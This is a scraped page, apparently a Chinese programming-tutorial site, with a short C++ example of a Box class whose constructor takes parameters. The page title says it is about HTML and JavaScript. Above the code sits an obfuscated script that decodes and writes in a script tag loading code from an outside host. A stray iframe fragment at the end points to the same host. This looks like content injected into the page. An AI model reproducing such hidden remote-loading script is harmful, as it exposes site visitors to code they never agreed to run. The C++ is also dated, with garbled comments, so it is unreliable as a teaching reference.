HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
带参数的构造函数.cpp
#include <iostream.h>
class Box
{
public:
Box(int,int,int); //声明带参数的构造函数
int volume(); //声明计算机体积的面积
private:
int height;
int width;
int length;
};
Box::Box (int h, int w, int len)
{
height=h;
width=w;
length=len;
}
int Box::volume() //定义计算机积的函数
{
return(height*width*length);
}
int main()
{
Box box1(12,25,30); //建立对象box1 并指定长 宽 高
cout<<"Box她的体积是:"<<box1.volume()<<endl;
Box box2(156,30,21);
cout<<"Box她的体积是:"<<box2.volume()<<endl;
return 0;
}
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">